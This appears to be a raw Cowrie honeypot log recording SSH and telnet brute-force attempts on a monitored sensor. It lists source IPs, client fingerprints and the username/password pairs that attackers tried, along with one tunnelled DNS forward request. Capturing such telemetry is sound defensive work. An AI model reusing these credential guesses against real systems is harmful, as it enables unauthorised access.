{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:45.405893Z","src_ip":"87.251.64.176","session":"7e3d5e12fe0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:45.507963Z","src_ip":"87.251.64.176","session":"7e3d5e12fe0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":29549,"dst_ip":"159.203.135.109","dst_port":22,"session":"f543052599aa","protocol":"ssh","message":"New connection: 146.70.245.157:29549 (159.203.135.109:22) [session: f543052599aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:00.410249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:00.417407Z","src_ip":"146.70.245.157","session":"f543052599aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:00.564575Z","src_ip":"146.70.245.157","session":"f543052599aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq112233","message":"login attempt [root/qq112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:01.129370Z","src_ip":"146.70.245.157","session":"f543052599aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:02.278886Z","src_ip":"146.70.245.157","session":"f543052599aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":35380,"dst_ip":"159.203.135.109","dst_port":22,"session":"4936d923fbc6","protocol":"ssh","message":"New connection: 171.244.37.103:35380 (159.203.135.109:22) [session: 4936d923fbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:02.388231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:02.393900Z","src_ip":"171.244.37.103","session":"4936d923fbc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:02.647933Z","src_ip":"171.244.37.103","session":"4936d923fbc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser1","message":"login attempt [ftpuser/ftpuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:03.681180Z","src_ip":"171.244.37.103","session":"4936d923fbc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:04.934523Z","src_ip":"171.244.37.103","session":"4936d923fbc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":51028,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb741d9619ca","protocol":"ssh","message":"New connection: 193.228.128.84:51028 (10.17.0.5:22) [session: cb741d9619ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:07.189394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:07.197221Z","src_ip":"193.228.128.84","session":"cb741d9619ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:07.299249Z","src_ip":"193.228.128.84","session":"cb741d9619ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiopw","message":"login attempt [root/qwertyuiopw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:07.605468Z","src_ip":"193.228.128.84","session":"cb741d9619ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:08.778272Z","src_ip":"193.228.128.84","session":"cb741d9619ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":54175,"dst_ip":"159.203.135.109","dst_port":22,"session":"145663d6aa48","protocol":"ssh","message":"New connection: 20.193.141.133:54175 (159.203.135.109:22) [session: 145663d6aa48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:11.854806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:11.859620Z","src_ip":"20.193.141.133","session":"145663d6aa48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:12.058214Z","src_ip":"20.193.141.133","session":"145663d6aa48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@2020","message":"login attempt [root/Abc@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:12.885252Z","src_ip":"20.193.141.133","session":"145663d6aa48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:14.087284Z","src_ip":"20.193.141.133","session":"145663d6aa48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":33816,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c6a72d9ebae","protocol":"telnet","message":"New connection: 79.139.59.21:33816 (159.203.135.109:23) [session: 3c6a72d9ebae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:15.549198Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35608,"dst_ip":"159.203.135.109","dst_port":23,"session":"10d9f7c00833","protocol":"telnet","message":"New connection: 69.4.83.194:35608 (159.203.135.109:23) [session: 10d9f7c00833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:42:58.442137Z"}
{"eventid":"cowrie.session.closed","duration":49.877930879592896,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:05.426957Z","src_ip":"79.139.59.21","session":"3c6a72d9ebae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00390005111694,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:12.891797Z","src_ip":"180.235.129.180","session":"508595e20334","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":41884,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdf12e2396a6","protocol":"ssh","message":"New connection: 103.153.68.219:41884 (10.17.0.5:22) [session: fdf12e2396a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:21.103173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:21.108304Z","src_ip":"103.153.68.219","session":"fdf12e2396a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:21.361486Z","src_ip":"103.153.68.219","session":"fdf12e2396a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159487","message":"login attempt [root/159487] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:22.122441Z","src_ip":"103.153.68.219","session":"fdf12e2396a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:23.379987Z","src_ip":"103.153.68.219","session":"fdf12e2396a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.410640001297,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:34.852813Z","src_ip":"69.4.83.194","session":"10d9f7c00833","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":50410,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5c52c7db62e","protocol":"ssh","message":"New connection: 171.244.37.103:50410 (159.203.135.109:22) [session: b5c52c7db62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:43.530963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:43.540293Z","src_ip":"171.244.37.103","session":"b5c52c7db62e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:43.780923Z","src_ip":"171.244.37.103","session":"b5c52c7db62e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:44.776199Z","src_ip":"171.244.37.103","session":"b5c52c7db62e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:43:46.020451Z","src_ip":"171.244.37.103","session":"b5c52c7db62e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":8045,"dst_ip":"159.203.135.109","dst_port":22,"session":"53cce29411fd","protocol":"ssh","message":"New connection: 20.193.141.133:8045 (159.203.135.109:22) [session: 53cce29411fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:05.117756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:05.122971Z","src_ip":"20.193.141.133","session":"53cce29411fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:05.307338Z","src_ip":"20.193.141.133","session":"53cce29411fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:06.074488Z","src_ip":"20.193.141.133","session":"53cce29411fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:07.262196Z","src_ip":"20.193.141.133","session":"53cce29411fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":41284,"dst_ip":"159.203.135.109","dst_port":22,"session":"26dbcd4a13ae","protocol":"ssh","message":"New connection: 20.6.35.235:41284 (159.203.135.109:22) [session: 26dbcd4a13ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:08.049871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:10.142634Z","src_ip":"20.6.35.235","session":"26dbcd4a13ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:10.379479Z","src_ip":"20.6.35.235","session":"26dbcd4a13ae","protocol":"ssh"}
